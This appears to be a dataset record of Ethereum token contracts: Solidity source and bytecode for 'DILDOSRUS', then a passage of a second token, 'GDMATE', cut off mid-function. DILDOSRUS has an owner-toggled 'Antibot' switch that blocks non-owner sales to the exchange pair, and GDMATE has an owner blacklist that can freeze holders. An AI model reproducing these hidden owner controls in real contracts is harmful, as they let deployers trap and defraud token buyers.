pragma experimental ABIEncoderV2;
// SPDX-License-Identifier:MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dex Factory contract interface
interface IdexFacotry {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// Dex Router02 contract interface
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = payable(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DILDOSRUS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
IDexRouter public dexRouter;
address public dexPair;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address public wallet1;
bool public _antibot = true;
constructor(address _wallet1) {
_name = "DILDOSRUS";
_symbol = "DILDO";
_decimals = 18;
_totalSupply = 1000000000000000 * 1e18;
wallet1 = _wallet1;
_balances[owner()] = _totalSupply.mul(500).div(1e3);
_balances[wallet1] = _totalSupply.mul(500).div(1e3);
IDexRouter _dexRouter = IDexRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02
);
// Create a uniswap pair for this new token
dexPair = IdexFacotry(_dexRouter.factory()).createPair(
address(this),
_dexRouter.WETH()
);
// set the rest of the contract variables
dexRouter = _dexRouter;
emit Transfer(address(this), owner(), _totalSupply.mul(500).div(1e3));
emit Transfer(address(this), wallet1, _totalSupply.mul(500).div(1e3));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function Antibot(bool value) external onlyOwner {
_antibot = value;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"WE: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"WE: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "Sorry: transfer from the zero address");
require(recipient != address(0), "Sorry: transfer to the zero address");
require(amount > 0, "Sorry: Transfer amount must be greater than zero");
if (!_antibot && sender != owner() && recipient != owner()) {
require(recipient != dexPair, " Sorry: Antibot is not enabled");
}
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Sorry to say but: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb14610310578063c6e06b8a14610340578063dd62ed3e1461035c578063f242ab411461038c578063f2fde38b146103aa57610121565b806370a082311461026a578063715018a61461029a5780638da5cb5b146102a457806395d89b41146102c2578063a457c2d7146102e057610121565b80631a026c96116100f45780631a026c96146101b057806323b872dd146101ce578063313ce567146101fe578063395093511461021c57806353c9a99b1461024c57610121565b806306fdde03146101265780630758d92414610144578063095ea7b31461016257806318160ddd14610192575b600080fd5b61012e6103c6565b60405161013b91906114a6565b60405180910390f35b61014c610458565b6040516101599190611547565b60405180910390f35b61017c600480360381019061017791906115db565b61047e565b6040516101899190611636565b60405180910390f35b61019a61049c565b6040516101a79190611660565b60405180910390f35b6101b86104a6565b6040516101c5919061168a565b60405180910390f35b6101e860048036038101906101e391906116a5565b6104cc565b6040516101f59190611636565b60405180910390f35b6102066105c4565b6040516102139190611714565b60405180910390f35b610236600480360381019061023191906115db565b6105db565b6040516102439190611636565b60405180910390f35b610254610687565b6040516102619190611636565b60405180910390f35b610284600480360381019061027f919061172f565b61069a565b6040516102919190611660565b60405180910390f35b6102a26106e3565b005b6102ac610836565b6040516102b9919061168a565b60405180910390f35b6102ca61085f565b6040516102d791906114a6565b60405180910390f35b6102fa60048036038101906102f591906115db565b6108f1565b6040516103079190611636565b60405180910390f35b61032a600480360381019061032591906115db565b6109dc565b6040516103379190611636565b60405180910390f35b61035a60048036038101906103559190611788565b6109fa565b005b610376600480360381019061037191906117b5565b610aac565b6040516103839190611660565b60405180910390f35b610394610b33565b6040516103a1919061168a565b60405180910390f35b6103c460048036038101906103bf919061172f565b610b59565b005b6060600580546103d590611824565b80601f016020809104026020016040519081016040528092919081815260200182805461040190611824565b801561044e5780601f106104235761010080835404028352916020019161044e565b820191906000526020600020905b81548152906001019060200180831161043157829003601f168201915b5050505050905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061049261048b610de0565b8484610de8565b6001905092915050565b6000600854905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006104d9848484610fb3565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610524610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059b906118c8565b60405180910390fd5b6105b8856105b0610de0565b858403610de8565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b600061067d6105e8610de0565b8484600260006105f6610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106789190611917565b610de8565b6001905092915050565b600960149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106eb610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076f906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461086e90611824565b80601f016020809104026020016040519081016040528092919081815260200182805461089a90611824565b80156108e75780601f106108bc576101008083540402835291602001916108e7565b820191906000526020600020905b8154815290600101906020018083116108ca57829003601f168201915b5050505050905090565b60008060026000610900610de0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b490611a4b565b60405180910390fd5b6109d16109c8610de0565b85858403610de8565b600191505092915050565b60006109f06109e9610de0565b8484610fb3565b6001905092915050565b610a02610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a86906119b9565b60405180910390fd5b80600960146101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b61610de0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be5906119b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5590611add565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080831415610d2e5760009050610d90565b60008284610d3c9190611afd565b9050828482610d4b9190611b86565b14610d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8290611c29565b60405180910390fd5b809150505b92915050565b6000610dd883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a0565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90611cbb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611d4d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fa69190611660565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611023576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101a90611ddf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a90611e71565b60405180910390fd5b600081116110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90611f03565b60405180910390fd5b600960149054906101000a900460ff1615801561112657506110f6610836565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111655750611135610836565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156111fc57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290611f6f565b60405180910390fd5b5b611207838383611403565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561128e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128590612001565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113239190611917565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113879190611660565b60405180910390a361139a848484611408565b50505050565b600080831182906113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de91906114a6565b60405180910390fd5b50600083856113f69190611b86565b9050809150509392505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561144757808201518184015260208101905061142c565b83811115611456576000848401525b50505050565b6000601f19601f8301169050919050565b60006114788261140d565b6114828185611418565b9350611492818560208601611429565b61149b8161145c565b840191505092915050565b600060208201905081810360008301526114c0818461146d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061150d611508611503846114c8565b6114e8565b6114c8565b9050919050565b600061151f826114f2565b9050919050565b600061153182611514565b9050919050565b61154181611526565b82525050565b600060208201905061155c6000830184611538565b92915050565b600080fd5b6000611572826114c8565b9050919050565b61158281611567565b811461158d57600080fd5b50565b60008135905061159f81611579565b92915050565b6000819050919050565b6115b8816115a5565b81146115c357600080fd5b50565b6000813590506115d5816115af565b92915050565b600080604083850312156115f2576115f1611562565b5b600061160085828601611590565b9250506020611611858286016115c6565b9150509250929050565b60008115159050919050565b6116308161161b565b82525050565b600060208201905061164b6000830184611627565b92915050565b61165a816115a5565b82525050565b60006020820190506116756000830184611651565b92915050565b61168481611567565b82525050565b600060208201905061169f600083018461167b565b92915050565b6000806000606084860312156116be576116bd611562565b5b60006116cc86828701611590565b93505060206116dd86828701611590565b92505060406116ee868287016115c6565b9150509250925092565b600060ff82169050919050565b61170e816116f8565b82525050565b60006020820190506117296000830184611705565b92915050565b60006020828403121561174557611744611562565b5b600061175384828501611590565b91505092915050565b6117658161161b565b811461177057600080fd5b50565b6000813590506117828161175c565b92915050565b60006020828403121561179e5761179d611562565b5b60006117ac84828501611773565b91505092915050565b600080604083850312156117cc576117cb611562565b5b60006117da85828601611590565b92505060206117eb85828601611590565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061183c57607f821691505b602082108114156118505761184f6117f5565b5b50919050565b7f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006118b2602583611418565b91506118bd82611856565b604082019050919050565b600060208201905081810360008301526118e1816118a5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611922826115a5565b915061192d836115a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611962576119616118e8565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a3602083611418565b91506119ae8261196d565b602082019050919050565b600060208201905081810360008301526119d281611996565b9050919050565b7f57453a2064656372656173656420616c6c6f77616e63652062656c6f77207a6560008201527f726f000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a35602283611418565b9150611a40826119d9565b604082019050919050565b60006020820190508181036000830152611a6481611a28565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ac7602683611418565b9150611ad282611a6b565b604082019050919050565b60006020820190508181036000830152611af681611aba565b9050919050565b6000611b08826115a5565b9150611b13836115a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611b4c57611b4b6118e8565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611b91826115a5565b9150611b9c836115a5565b925082611bac57611bab611b57565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c13602183611418565b9150611c1e82611bb7565b604082019050919050565b60006020820190508181036000830152611c4281611c06565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ca5602483611418565b9150611cb082611c49565b604082019050919050565b60006020820190508181036000830152611cd481611c98565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d37602283611418565b9150611d4282611cdb565b604082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f536f7272793a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611dc9602583611418565b9150611dd482611d6d565b604082019050919050565b60006020820190508181036000830152611df881611dbc565b9050919050565b7f536f7272793a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611e5b602383611418565b9150611e6682611dff565b604082019050919050565b60006020820190508181036000830152611e8a81611e4e565b9050919050565b7f536f7272793a205472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000611eed603083611418565b9150611ef882611e91565b604082019050919050565b60006020820190508181036000830152611f1c81611ee0565b9050919050565b7f20536f7272793a20416e7469626f74206973206e6f7420656e61626c65640000600082015250565b6000611f59601e83611418565b9150611f6482611f23565b602082019050919050565b60006020820190508181036000830152611f8881611f4c565b9050919050565b7f536f72727920746f20736179206275743a207472616e7366657220616d6f756e60008201527f7420657863656564732062616c616e6365000000000000000000000000000000602082015250565b6000611feb603183611418565b9150611ff682611f8f565b604082019050919050565b6000602082019050818103600083015261201a81611fde565b905091905056fea26469706673582212203163b7774285b84d24094467f29c86dfecf727c5a4dc77611d548248133ca96d64736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 3,531 |
0x1b9dfab48514d4bd94e9e1854c5e41097d92e777
|
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
/*
-------------------------------------
G'DAY MATE
Telegram: https://t.me/gdaytoken
Website: https://www.gdaymate.xyz
-------------------------------------
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GDMATE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GDMATE";
string private constant _symbol = "GDMATE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
